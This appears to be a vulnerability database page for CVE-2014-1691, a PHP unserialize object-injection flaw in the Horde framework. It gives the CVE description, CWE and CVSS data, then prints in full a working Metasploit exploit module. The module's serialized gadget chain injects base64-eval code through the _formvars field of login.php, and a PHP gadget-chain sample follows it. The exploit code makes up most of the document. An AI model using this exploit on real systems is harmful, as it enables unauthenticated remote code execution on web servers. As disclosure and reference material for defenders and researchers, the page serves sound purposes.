CVE-2014-1691

CVE Descriptions

The framework/Util/lib/Horde/Variables.php script in the Util library in Horde before 5.1.1 allows remote attackers to conduct object injection attacks and execute arbitrary PHP code via a crafted serialized object in the _formvars form.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-94	Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 32439

Publication date : 2014-03-21 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Horde Framework Unserialize PHP Code Execution', 'Description' => %q{ This module exploits a php unserialize() vulnerability in Horde <= 5.1.1 which could be abused to allow unauthenticated users to execute arbitrary code with the permissions of the web server. The dangerous unserialize() exists in the 'lib/Horde/Variables.php' file. The exploit abuses the __destruct() method from the Horde_Kolab_Server_Decorator_Clean class to reach a dangerous call_user_func() call in the Horde_Prefs class. }, 'Author' => [ 'EgiX', # Exploitation technique and Vulnerability discovery (originally reported by the vendor) 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2014-1691' ], [ 'URL', 'http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection' ], [ 'URL', 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737149' ], [ 'URL', 'https://github.com/horde/horde/commit/da6afc7e9f4e290f782eca9dbca794f772caccb3' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'DisableNops' => true }, 'Targets' => [ ['Horde 5', { }], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 27 2013' )) register_options( [ OptString.new('TARGETURI', [ true, "The base path to Horde", "/horde/"]) ], self.class) end def check flag = rand_text_alpha(rand(10)+20) res = send_request_exploit("print #{flag};die;") if res and res.body and res.body.to_s =~ /#{flag}/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit print_status("#{peer} - Testing injection...") unless check == Exploit::CheckCode::Vulnerable fail_with(Failure::NotVulnerable, "#{peer} - Target isn't vulnerable, exiting...") end print_status("#{peer} - Exploiting the unserialize()...") send_request_exploit(payload.encoded) end def send_request_exploit(p) php_injection = "eval(base64_decode($_SERVER[HTTP_CMD]));die();" payload_serialized = "O:34:\"Horde_Kolab_Server_Decorator_Clean\":2:{s:43:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_server\";" payload_serialized << "O:20:\"Horde_Prefs_Identity\":2:{s:9:\"\x00*\x00_prefs\";O:11:\"Horde_Prefs\":2:{s:8:\"\x00*\x00_opts\";a:1:{s:12:\"sizecallback\";" payload_serialized << "a:2:{i:0;O:12:\"Horde_Config\":1:{s:13:\"\x00*\x00_oldConfig\";s:#{php_injection.length}:\"#{php_injection}\";}i:1;s:13:\"readXMLConfig\";}}" payload_serialized << "s:10:\"\x00*\x00_scopes\";a:1:{s:5:\"horde\";O:17:\"Horde_Prefs_Scope\":1:{s:9:\"\x00*\x00_prefs\";a:1:{i:0;i:1;}}}}" payload_serialized << "s:13:\"\x00*\x00_prefnames\";a:1:{s:10:\"identities\";i:0;}}s:42:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_added\";a:1:{i:0;i:1;}}" send_request_cgi( { 'uri' => normalize_uri(target_uri.path.to_s, "login.php"), 'method' => 'POST', 'vars_post' => { '_formvars' => payload_serialized }, 'headers' => { 'Cmd' => Rex::Text.encode_base64(p) } }) end end =begin PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection class Horde_Config { protected $_oldConfig = "phpinfo();die;"; } class Horde_Prefs_Scope { protected $_prefs = array(1); } class Horde_Prefs { protected $_opts, $_scopes; function __construct() { $this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig'); $this->_scopes['horde'] = new Horde_Prefs_Scope; } } class Horde_Prefs_Identity { protected $_prefs, $_prefnames; function __construct() { $this->_prefs = new Horde_Prefs; $this->_prefnames['identities'] = 0; } } class Horde_Kolab_Server_Decorator_Clean { private $_server, $_added = array(1); function __construct() { $this->_server = new Horde_Prefs_Identity; } } $popchain = serialize(new Horde_Kolab_Server_Decorator_Clean); =end